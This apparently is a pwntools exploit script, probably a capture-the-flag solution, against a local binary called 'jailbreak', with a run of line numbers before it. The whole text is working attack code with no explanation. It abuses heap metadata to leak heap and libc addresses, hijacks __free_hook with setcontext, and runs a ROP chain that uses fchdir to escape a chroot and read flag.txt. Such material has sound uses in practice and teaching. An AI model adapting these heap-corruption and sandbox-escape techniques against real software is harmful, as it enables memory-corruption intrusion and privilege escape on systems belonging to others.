1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188
| import sys import os from time import * from pwn import *
context(log_level='debug', terminal=['tmux', 'sp', '-h'], arch='amd64')
sh = process("./jailbreak") lib = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF("./jailbreak")
def s(data): return sh.send(str(data))
def sa(delim, data): return sh.sendafter(str(delim), str(data)) def sl(data): return sh.sendline(str(data))
def sla(delim, data): return sh.sendlineafter(str(delim), str(data)) def r(numb=4096): return sh.recv(numb) def ru(delims, drop=True): return sh.recvuntil(delims, drop) def irt(): return sh.interactive() def uu32(data): return u32(data.ljust(4, b'\x00')) def uu64(data): return u64(data.ljust(8, b'\x00'))
def ru7f(): return u64(sh.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) def ruf7(): return u32(sh.recvuntil("\xf7")[-4:].ljust(4, b'\x00')) def lg(data): return log.success(data)
def add(name_size, description_size): sla("Action:", "B") sla("Item name size:", str(name_size)) sla("Item description size:", str(description_size))
def edit(idx, name, description): sla("Action:", "M") sla("idx:", str(idx)) if name != "": sla("Modify name?[y/N]", "y") sa("new name:", str(name)) else: sla("Modify name?[y/N]", "n") if description != "": sla("Modify description?[y/N]", "y") sa("new description:", str(description)) else: sla("Modify description?[y/N]", "n")
def free(idx): sla("Action:", "S") sla("idx:", str(idx))
def show(): sla("Action:", "W")
def backdoor(): sla("Action:", "\xFF") sla("Action[y/N]", 'y')
add(0x18, 0x18) add(0x18, 0x18) free(0) add(0x18, 0x18) show() ru("Item name: ") heap_base = uu64(r(6)) - 0x280 log.info("heap_base:"+hex(heap_base))
edit(0, '\x13' * 0x18 + "\n", '\x14' * 0x18 + p8(0x41)) free(0) add(0x18, 0x29) free(1) edit(0, '\x13' * 0x18 + "\n", '\x14' * 0x18 + p64(0x21) + p64(heap_base + 0x250 + 0x10) + "\n") free(0) add(0x18, 0x18) add(0x18, 0x18) edit(1, '\x15' * 0x18 + "\n", p64(0xcafecafe) + "\n")
backdoor() ru("secret:") dir_fd = int(ru("\n").strip(), 10) log.info("dri_fd:"+hex(dir_fd))
add(0x28, 0x28) add(0x28, 0x28) edit(2, '\x16' * 0x28 + p8(0x51), "\n") free(2) add(0x28, 0x48) free(3) edit(2, '\x16' * 0x28 + "\n", 'a' * 0x28 + p64(0x31) + p64(heap_base + 0x10) + "\n") add(0x28, 0x28) add(0x28, 0x38)
edit(4, p64(0x0800000000000000) + "\n", p64(0xdeadbeef) + "\n")
add(0x38, 0x38) add(0x38, 0x38) edit(5, '\x15' * 0x38 + p8(0x91), '\x16' * 0x18 + '\n')
edit(6, '\n', p64(0) + p64(0x31) + "\n") free(5) add(0x38, 0x38) show() ru("Item idx: 5") ru("description: ") main_arena = uu64(r(6)) - 224 libc = main_arena - 0x10 - lib.symbols[b'__malloc_hook'] log.info("libc_base:"+hex(libc))
lib.address = libc system = lib.symbols[b'system'] binsh = lib.search(b"/bin/sh\x00").next() __free_hook = lib.symbols[b'__free_hook'] log.info("free_hook:"+hex(__free_hook)) __malloc_hook = lib.symbols[b'__malloc_hook']
pop_rdi_ret = libc + 0x00000000000215bf pop_rsi_ret = libc + 0x0000000000023eea pop_rdx_ret = libc + 0x0000000000001b96 pop_rdx_rsi_ret = libc + 0x0000000000130569 ret = libc + 0x00000000000008aa
add(0x38, 0x38) free(6)
edit(7,p64(heap_base + 0x60) + "\n","flag.txt\x00".ljust(0x20,'a') + p64(0x3c0 + heap_base) + p64(ret) + "\n")
add(0x38, 0x48) add(0x38, 0x48) edit(8, p64(0xdeadbeef) + "\n", p64(lib.sym['__free_hook']) + "\n")
edit(4, p64(0x0800000000010000) + "\n", p64(0xdeadbeef) + "\n")
log.info("setcontext:"+hex(lib.sym['setcontext'])) add(0x38, 0x48) edit(9, p64(lib.sym['setcontext'] + 53) + "\n", '\n')
edit(5, p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi_ret) + p64(0x1000) + p64(heap_base + 0x3b0) + p64(lib.sym['read'])+"\n", '\n')
free(7) payload = 'a' * (0x40-2) payload += p64(pop_rdi_ret) + p64(dir_fd) payload += p64(lib.sym['fchdir']) payload += p64(pop_rdi_ret) + p64(heap_base+0x4c0) payload += p64(pop_rsi_ret) + p64(0x0) payload += p64(lib.sym['open']) payload += p64(pop_rdi_ret) + p64(3) payload += p64(pop_rdx_rsi_ret) + p64(0x100) + p64(heap_base+0x440) payload += p64(lib.sym['read']) payload += p64(pop_rdi_ret) + p64(1) payload += p64(pop_rdx_rsi_ret) + p64(0x100) + p64(heap_base+0x400) payload += p64(lib.sym['write'])
sl(payload) sleep(2)
print sh.recv() irt()
|